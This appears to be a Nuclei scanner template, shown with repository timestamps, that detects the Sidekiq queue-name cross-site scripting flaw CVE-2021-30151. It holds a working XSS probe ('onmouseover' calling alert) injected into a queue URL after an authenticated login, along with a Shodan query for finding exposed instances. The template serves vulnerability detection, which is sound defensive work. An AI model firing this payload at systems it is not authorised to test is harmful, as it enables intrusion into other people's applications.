nuclei-templates/http/cves/2021/CVE-2021-30151.yaml

61 lines
1.7 KiB
YAML
Raw Normal View History

2021-04-10 17:28:27 +00:00
id: CVE-2021-30151
info:
name: Sidekiq <=6.2.0 - Cross-Site Scripting
2021-04-10 17:28:27 +00:00
author: DhiyaneshDk
severity: medium
description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
reference:
2021-04-10 17:28:27 +00:00
- https://github.com/mperham/sidekiq/issues/4852
- https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-30151
2023-07-11 19:49:27 +00:00
- https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-30151
cwe-id: CWE-79
2023-07-11 19:49:27 +00:00
epss-score: 0.00435
epss-percentile: 0.71864
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-11-06 11:04:15 +00:00
shodan-query: title:"Sidekiq"
2023-07-11 19:49:27 +00:00
vendor: contribsys
product: sidekiq
2023-11-06 11:04:15 +00:00
tags: cve,cve2021,xss,sidekiq,authenticated
2021-04-10 17:28:27 +00:00
http:
2023-11-06 11:04:15 +00:00
- raw:
- |
POST /api/auth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
- |
GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
Host: {{Hostname}}
2023-07-11 19:49:27 +00:00
2021-04-10 17:28:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2023-11-06 11:04:15 +00:00
- 'onmouseover="alert(document.domain)'
- 'sidekiq'
condition: and
case-insensitive: true
2021-04-11 12:21:41 +00:00
2021-04-10 17:28:27 +00:00
- type: word
part: header
words:
- "text/html"
2021-04-11 12:21:41 +00:00
- type: status
status:
- 200